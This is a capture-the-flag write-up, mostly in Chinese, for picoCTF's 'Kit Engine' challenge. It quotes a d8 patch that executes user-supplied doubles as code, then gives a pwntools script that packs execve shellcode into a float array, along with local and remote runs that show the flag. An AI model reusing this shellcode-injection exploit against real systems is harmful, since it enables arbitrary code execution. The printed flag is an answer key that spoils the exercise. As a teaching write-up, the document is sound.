# PicoCTF - Kit Engine ## Background [Google V8 Engine](https://ithelp.ithome.com.tw/articles/10216397) > V8 引擎是 Google 做出來讓 JS 跟瀏覽器溝通的的開源專案,這個引擎被使用的非常廣泛,在 Chrome 瀏覽器跟 Node.js ,以及桌面應用程式框架 Electron 之中都有他的身影。而在 V8 出現前,最早最早的 JavaScript 引擎,叫做 SpiderMonkey ,同時也是另一個知名瀏覽器 FireFox 的渲染引擎。 [Using d8](https://v8.dev/docs/d8) > d8 is V8’s own developer shell. > > d8 is useful for running some JavaScript locally or debugging changes you have made to V8. Building V8 using GN for x64 outputs a d8 binary in out.gn/x64.optdebug/d8. You can call d8 with the --help argument for more information about usage and flags. [Convert Bytes to Floating Point Numbers?](https://stackoverflow.com/questions/5415/convert-bytes-to-floating-point-numbers) > ```python > >>> import struct > >>> struct.pack('f', 3.141592654) > b'\xdb\x0fI@' > >>> struct.unpack('f', b'\xdb\x0fI@') > (3.1415927410125732,) > >>> struct.pack('4f', 1.0, 2.0, 3.0, 4.0) > '\x00\x00\x80?\x00\x00\x00@\x00\x00@@\x00\x00\x80@' > ``` ## Source code :::spoiler Patch ``` diff --git a/src/d8/d8.cc b/src/d8/d8.cc index e6fb20d152..35195b9261 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -979,6 +979,53 @@ struct ModuleResolutionData { } // namespace +uint64_t doubleToUint64_t(double d){ + union { + double d; + uint64_t u; + } conv = { .d = d }; + return conv.u; +} + +void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) { + __asm__("int3"); +} + +void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) { + Isolate* isolate = args.GetIsolate(); + if(args.Length() != 1) { + return; + } + + double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (func == (double *)-1) { + printf("Unable to allocate memory. Contact admin\n"); + return; + } + + if (args[0]->IsArray()) { + Local<Array> arr = args[0].As<Array>(); + + Local<Value> element; + for (uint32_t i = 0; i < arr->Length(); i++) { + if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) { + Local<Number> val = element.As<Number>(); + func[i] = val->Value(); + } + } + + printf("Memory Dump. Watch your endianness!!:\n"); + for (uint32_t i = 0; i < arr->Length(); i++) { + printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i])); + } + + printf("Starting your engine!!\n"); + void (*foo)() = (void(*)())func; + foo(); + } + printf("Done\n"); +} + void Shell::ModuleResolutionSuccessCallback( const FunctionCallbackInfo<Value>& info) { std::unique_ptr<ModuleResolutionData> module_resolution_data( @@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) { Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); - global_template->Set(Symbol::GetToStringTag(isolate), - String::NewFromUtf8Literal(isolate, "global")); + // Add challenge builtin, and remove some unintented solutions + global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine)); + global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint)); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version)); - global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print)); - global_template->Set(isolate, "printErr", - FunctionTemplate::New(isolate, PrintErr)); - global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write)); - global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read)); - global_template->Set(isolate, "readbuffer", - FunctionTemplate::New(isolate, ReadBuffer)); - global_template->Set(isolate, "readline", - FunctionTemplate::New(isolate, ReadLine)); - global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load)); - global_template->Set(isolate, "setTimeout", - FunctionTemplate::New(isolate, SetTimeout)); - // Some Emscripten-generated code tries to call 'quit', which in turn would - // call C's exit(). This would lead to memory leaks, because there is no way - // we can terminate cleanly then, so we need a way to hide 'quit'. if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } - global_template->Set(isolate, "testRunner", - Shell::CreateTestRunnerTemplate(isolate)); - global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate)); - global_template->Set(isolate, "performance", - Shell::CreatePerformanceTemplate(isolate)); - global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate)); - // Prevent fuzzers from creating side effects. - if (!i::FLAG_fuzzing) { - global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate)); - } - global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate)); #ifdef V8_FUZZILLI global_template->Set( @@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum); #endif // V8_FUZZILLI - if (i::FLAG_expose_async_hooks) { - global_template->Set(isolate, "async_hooks", - Shell::CreateAsyncHookTemplate(isolate)); - } - return global_template; } @@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console, v8::Isolate::kMessageLog); } - isolate->SetHostImportModuleDynamicallyCallback( + /*isolate->SetHostImportModuleDynamicallyCallback( Shell::HostImportModuleDynamically); isolate->SetHostInitializeImportMetaObjectCallback( - Shell::HostInitializeImportMetaObject); + Shell::HostInitializeImportMetaObject);*/ #ifdef V8_FUZZILLI // Let the parent process (Fuzzilli) know we are ready. diff --git a/src/d8/d8.h b/src/d8/d8.h index a6a1037cff..4591d27f65 100644 --- a/src/d8/d8.h +++ b/src/d8/d8.h @@ -413,6 +413,9 @@ class Shell : public i::AllStatic { kNoProcessMessageQueue = false }; + static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args); + static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args); + static bool ExecuteString(Isolate* isolate, Local<String> source, Local<Value> name, PrintResult print_result, ReportExceptions report_exceptions, ``` ::: ## Recon 這一題很有趣,不過我原本不知道v8或d8是啥東東,以為是類似老舊攝影機???但看了[^pico_pwn_kit_engine_nickchen][^pico_pwn_kit_engine_maple]的WP,發現沒有想像中的複雜,首先他給了一個d8(也就是local端可以使用的v8,類似psysh的感覺,可以執行js的環境),然後他有給一個patch,所以不用管其他的部分,只要專注在他patch的內容即可。 1. diff 從patch file可以看得出來他新實作了三個function: `uint64_t doubleToUint64_t(double d)`, `void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args)`, `void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args)`,其中`Breakpoint`和`AssembleEngine`都是繼承Shell class,然後`AssembleEngine`需要傳入args的參數 2. Analyze `AssembleEngine` Function 在patch的33行中,會判斷傳入的args是不是array,然後array中每一個element都要是number,接著就會把value放到前面定義的func(其實就是function pointer),再後面的for loop做的事情是把func中每一個element轉data type,從double轉成unsinged integer 64,接著就直接call這個function 3. Construct Payload 基於以上觀察,我們知道`AssembleEngine`可以直接執行我們給他的shellcode,只不過需要花心思在他的data type檢查,也就是args需要是array,且每一個element都必須是double才行 ## Exploit - Build Shell Code & Transfer Data Type ```python= from pwn import * import struct context.arch = 'amd64' if args.REMOTE: ls = asm(shellcraft.execve(b"/bin/ls", ["ls"])) cat = asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"])) r = remote('mercury.picoctf.net', 48700) else: ls = b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' cat = b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' r = process(['python', 'server.py']) log.info(f'ls shellcode: {ls}') log.info(f'cat flag.txt shellcode: {cat}') def Transfer2DoubleArray(shellcode): shell_array = [] if len(shellcode) % 8 > 0: shellcode += (8 - len(shellcode) % 8) * b'\x00' for i in range(0, len(shellcode), 8): double_tmp = struct.unpack('d', shellcode[i:i+8])[0] shell_array.append(double_tmp) return shell_array payload = f'AssembleEngine({Transfer2DoubleArray(ls)})' r.recvuntil(b'Provide size. Must be < 5k:') r.sendline(str(len(payload)).encode()) r.recvline() r.sendline(payload.encode()) print(r.recvall().decode()) r.close() if args.REMOTE: r = remote('mercury.picoctf.net', 48700) else: r = process(['python', 'server.py']) payload = f'AssembleEngine({Transfer2DoubleArray(cat)})' r.recvuntil(b'Provide size. Must be < 5k:') r.sendline(str(len(payload)).encode()) r.recvline() r.sendline(payload.encode()) print(r.recvall().decode()) ``` :::spoiler Local Result ```bash $ python exp.py [+] Starting local process '/home/sbk6401/anaconda3/envs/CTF/bin/python': pid 19347 [*] ls shellcode: b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' [*] cat flag.txt shellcode: b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' [+] Receiving all data: Done (334B) [*] Process '/home/sbk6401/anaconda3/envs/CTF/bin/python' stopped with exit code 0 (pid 19347) AssembleEngine([7.748604185565308e-304, 7.001521162788231e+194, 1.773290430551938e-288, 1.0748503232447379e-301, 7.748605141607601e-304, 1.776650735790609e-302, 3.6509617888350745e+206, 4.1942076e-316]) File written. Running. Timeout is 20s Run Complete Stdout b'd8\nexp-nickchen.py\nexp.py\nflag.txt\nserver.py\nsource\n' Stderr b'' [+] Starting local process '/home/sbk6401/anaconda3/envs/CTF/bin/python': pid 19366 [+] Receiving all data: Done (340B) [*] Process '/home/sbk6401/anaconda3/envs/CTF/bin/python' stopped with exit code 0 (pid 19366) AssembleEngine([8.191473375206089e-79, 3.775826202043335e+79, 1.1205295651588473e+253, 7.748604185565308e-304, 2.460307022775963e+257, 1.7734484618746183e-288, 4.089989556334856e+40, 1.7766596360849696e-302, 3.6509617888350745e+206, 4.1942076e-316]) File written. Running. Timeout is 20s Run Complete Stdout b'picoCTF{test_132}' Stderr b'' ``` ::: :::spoiler Remote Result ```bash $ python exp.py REMOTE [+] Opening connection to mercury.picoctf.net on port 48700: Done [*] ls shellcode: b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' [*] cat flag.txt shellcode: b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' [+] Receiving all data: Done (334B) [*] Closed connection to mercury.picoctf.net port 48700 AssembleEngine([7.748604185565308e-304, 7.001521162788231e+194, 1.773290430551938e-288, 1.0748503232447379e-301, 7.748605141607601e-304, 1.776650735790609e-302, 3.6509617888350745e+206, 4.1942076e-316]) File written. Running. Timeout is 20s Run Complete Stdout b'd8\nflag.txt\nserver.py\nsource.tar.gz\nxinet_startup.sh\n' Stderr b'' [+] Opening connection to mercury.picoctf.net on port 48700: Done [+] Receiving all data: Done (362B) [*] Closed connection to mercury.picoctf.net port 48700 AssembleEngine([8.191473375206089e-79, 3.775826202043335e+79, 1.1205295651588473e+253, 7.748604185565308e-304, 2.460307022775963e+257, 1.7734484618746183e-288, 4.089989556334856e+40, 1.7766596360849696e-302, 3.6509617888350745e+206, 4.1942076e-316]) File written. Running. Timeout is 20s Run Complete Stdout b'picoCTF{vr00m_vr00m_48f07b402a4020e0}\n' Stderr b'' ``` ::: Flag: `picoCTF{vr00m_vr00m_48f07b402a4020e0}` ## Reference [^pico_pwn_kit_engine_nickchen]:[V8 exploitation - picoCTF Kit Engine](https://nickchen120235.github.io/2022/04/22/kit-engine.html) [^pico_pwn_kit_engine_maple]:[Kit Engine - maple](https://blog.maple3142.net/2021/03/30/picoctf-2021-writeups/#kit-engine)